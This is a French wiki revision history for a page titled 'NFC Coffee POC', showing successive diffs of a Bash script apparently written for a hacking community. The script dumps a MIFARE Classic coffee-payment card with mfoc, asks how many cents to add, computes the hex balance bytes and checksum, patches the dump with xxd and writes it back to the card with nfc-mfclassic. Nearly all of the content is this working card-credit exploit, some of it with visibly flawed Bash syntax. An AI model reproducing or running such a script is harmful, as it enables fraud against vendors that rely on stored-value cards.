NFC Coffee POC - Historique des versions

Korigan : /* Exploit Bash */

2013-09-10T17:12:28Z

Exploit Bash

← Version précédente		Version du 10 septembre 2013 à 19:12
Ligne 33 :		Ligne 33 :
	fi		fi
	read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount		read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount
	~~amount~~=`printf '%x' $amount`		EEDD=`printf '%x' $amount`
	DD=${~~AABB~~:${#~~AABB~~}-2} #On calcul la valeur hexadécimal des centimes		DD=${EEDD:${#EEDD}-2} #On calcul la valeur hexadécimal des centimes
	EE=$((~~AABB~~-DD)) #~~on calcul~~ hexadécimal des unités		EE=$((EEDD-DD)) #Calcul hexadécimal des unités
	FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs		FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs

Korigan : /* Exploit Bash */

2013-09-10T17:07:26Z

Exploit Bash

← Version précédente		Version du 10 septembre 2013 à 19:07
Ligne 24 :		Ligne 24 :
	echo "EE représente les euro en hexa"		echo "EE représente les euro en hexa"
	echo "FF est la somme en hexa de DD+EE"		echo "FF est la somme en hexa de DD+EE"
	~~AABB~~=xxd -s +160 dumpNFC.dmp \| head -n 1 \| cut -d' ' -f2		BBCC=xxd -s +160 dumpNFC.dmp \| head -n 1 \| cut -d' ' -f2
	BB=${~~AABB~~:0:2}		BB=${BBCC:0:2}
	CC=${~~AABB~~:2:2}		CC=${BBCC:2:2}
	if [ [ $BB -eq "55" ] ] then		if [ [ $BB -eq "55" ] ] then
	AAAAAAA="0000090"		AAAAAAA="0000090"

Korigan : /* Exploit Bash */

2013-09-10T17:03:55Z

Exploit Bash

← Version précédente		Version du 10 septembre 2013 à 19:03
Ligne 34 :		Ligne 34 :
	read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount		read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount
	amount=`printf '%x' $amount`		amount=`printf '%x' $amount`
	DD=${AABB:${#AABB}-2} #On calcul ~~les~~ centimes		DD=${AABB:${#AABB}-2} #On calcul la valeur hexadécimal des centimes
	EE=$((AABB-DD)) #on calcul ~~les~~ unités		EE=$((AABB-DD)) #on calcul hexadécimal des unités
	FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs		FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs

Korigan : /* Exploit Bash */

2013-09-10T15:08:34Z

Exploit Bash

← Version précédente		Version du 10 septembre 2013 à 17:08
Ligne 32 :		Ligne 32 :
	AAAAAAA="0000080"		AAAAAAA="0000080"
	fi		fi
	read -p "Quel montant(en centimes) doit-on pousser ~~dans~~ la carte?" amount		read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount
	amount=`printf '%x' $amount`		amount=`printf '%x' $amount`
	DD=${AABB:${#AABB}-2} #On calcul les centimes		DD=${AABB:${#AABB}-2} #On calcul les centimes

Korigan le 10 septembre 2013 à 15:07

2013-09-10T15:07:39Z

← Version précédente		Version du 10 septembre 2013 à 17:07
Ligne 7 :		Ligne 7 :
	# On charge le dump altéré sur la carte		# On charge le dump altéré sur la carte

	==== Bash ~~POC~~ ====		==== Exploit Bash ====
	Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.		Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.

Korigan : /* Bash POC */

2013-09-10T15:05:58Z

Bash POC

← Version précédente		Version du 10 septembre 2013 à 17:05
Ligne 39 :		Ligne 39 :

	echo "Patch du dump..."		echo "Patch du dump..."
	echo "$AAAAAAA: 00$DD $EE$FF" \| xxd -r - 16		echo "$AAAAAAA: 00$DD $EE$FF" \| xxd -r - dumpNFC.dmp

	echo "On charge le nouveau dump sur la carte..."		echo "On charge le nouveau dump sur la carte..."
	nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp		nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp
	echo "Done :)"		echo "Done :)"

Korigan : /* Bash POC */

2013-09-10T15:03:18Z

Bash POC

← Version précédente		Version du 10 septembre 2013 à 17:03
Ligne 24 :		Ligne 24 :
	echo "EE représente les euro en hexa"		echo "EE représente les euro en hexa"
	echo "FF est la somme en hexa de DD+EE"		echo "FF est la somme en hexa de DD+EE"
	~~BBCC~~=xxd -s +160 dumpNFC.dmp \| head -n 1 \| cut -d' ' -f2		AABB=xxd -s +160 dumpNFC.dmp \| head -n 1 \| cut -d' ' -f2
	BB=${AABB:0:2}		BB=${AABB:0:2}
	CC=${AABB:2:2}		CC=${AABB:2:2}

Korigan : /* Bash POC */

2013-09-10T15:01:45Z

Bash POC

← Version précédente		Version du 10 septembre 2013 à 17:01
Ligne 11 :		Ligne 11 :

	#!/bin/bash		#!/bin/bash
			#Script by Korigan for http://hackbbs.org
			#Contact: irc.hackbbs.org,6697,#HackBBS

	~~function replaceByte(file, offset, value) {~~
	~~printf "$(printf '\\x%02X' $value)" \| dd of="$file" bs=1 seek=$offset count=1 conv=notrunc &> /dev/null~~
	}
	echo "Dump de la carte..."		echo "Dump de la carte..."
	mfoc -P 500 -O dumpNFC.dmp		mfoc -P 500 -O dumpNFC.dmp
Ligne 29 :		Ligne 28 :
	CC=${AABB:2:2}		CC=${AABB:2:2}
	if [ [ $BB -eq "55" ] ] then		if [ [ $BB -eq "55" ] ] then
	AAAAAAA="90"		AAAAAAA="0000090"
	else		else
	AAAAAAA="80"		AAAAAAA="0000080"
	fi		fi
	read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount		read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount
	amount=`printf '%x' $amount`		amount=`printf '%x' $amount`
	DD=${AABB:${#AABB}-2}		DD=${AABB:${#AABB}-2} #On calcul les centimes
	EE=$((AABB-DD))		EE=$((AABB-DD)) #on calcul les unités
	FF=$((DD+EE))		FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs
	~~echo "TODO: split amount en DD EE, calculer FF, ecrire~~ les 3 valeurs ~~dans le new dump"~~

			echo "Patch du dump..."
			echo "$AAAAAAA: 00$DD $EE$FF" \| xxd -r - 16

	echo "On charge le nouveau dump sur la carte..."		echo "On charge le nouveau dump sur la carte..."
	nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp		nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp
			echo "Done :)"

Korigan le 10 septembre 2013 à 14:05

2013-09-10T14:05:19Z

← Version précédente		Version du 10 septembre 2013 à 16:05
Ligne 35 :		Ligne 35 :
	read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount		read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount
	amount=`printf '%x' $amount`		amount=`printf '%x' $amount`
	TODO: split amount en DD EE, calculer FF, ecrire les 3 valeurs dans le new dump		DD=${AABB:${#AABB}-2}
			EE=$((AABB-DD))
			FF=$((DD+EE))
			echo "TODO: split amount en DD EE, calculer FF, ecrire les 3 valeurs dans le new dump"


			echo "On charge le nouveau dump sur la carte..."
			nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp

Korigan le 10 septembre 2013 à 13:41

2013-09-10T13:41:29Z

← Version précédente		Version du 10 septembre 2013 à 15:41
Ligne 7 :		Ligne 7 :
	# On charge le dump altéré sur la carte		# On charge le dump altéré sur la carte

	==== ~~Dump d'une carte existante~~ ====		==== Bash POC ====
	Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.		Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.

NFC Coffee POC - Historique des versions

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan le 10 septembre 2013 à 15:07

Korigan : /* Bash POC */

Korigan : /* Bash POC */

Korigan : /* Bash POC */

Korigan le 10 septembre 2013 à 14:05

Korigan le 10 septembre 2013 à 13:41

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan : /* Exploit Bash */

Korigan : /* Bash POC */

Korigan : /* Bash POC */

Korigan : /* Bash POC */